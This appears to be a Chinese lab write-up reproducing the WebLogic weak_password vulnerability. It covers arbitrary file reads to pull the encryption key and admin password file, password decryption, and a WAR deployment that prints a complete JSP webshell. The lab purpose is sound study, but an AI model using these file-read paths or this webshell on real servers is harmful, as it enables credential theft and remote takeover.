Weblogic(weak_password)任意文件读取、口令破解、文件上传 漏洞复现
漏洞形成原因
- 本环境存在 任意文件读取漏洞,可利用此漏洞配合解密工具得到登陆密码
- 登录后台后存在上传点,可上传一句话拿shell
漏洞如何利用
- 任意文件读取
http://172.16.2.174:7001/hello/file.jsp?path= #接文件路径
- 上传一句话拿shell
漏洞复现过程
- Kali docker 容器中启动此漏洞环境
任意文件读取
- weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;
- 这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml;
- SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
172.16.2.174:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
- 再抓取 config.xml 的包,找到加密后的管理员密码:
172.16.2.174:7001/hello/file.jsp?path=config/config.xml
解密
- 解密工具在我的博客的资源里面可下载,或者去 https://github.com/TideSec/Decrypt_Weblogic_Password 可下载。
- 解密工具利用
-
访问 172.16.2.174:7001/console/login/LoginForm.jsp 账号输入:weblogic ,密码是上面的解密密码,注意O的大小写。
-
登录后点击左边的 部署
-
点击下面的安装
-
点击上载文件
-
上传的文件是 .war文件,可将一句话写在 666.jsp 中,再将 666.jsp 压缩成 666.zip ,再将666.zip改名为 666.war。
-
一句话木马如下,密码为 pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
- 访问 172.16.2.174:7001/666/666.jsp
- 上冰蝎
- 漏洞复现成功
参考文章:https://blog.csdn.net/qq_41954384/article/details/103831122
技术萌新,还请各位大牛多多指点!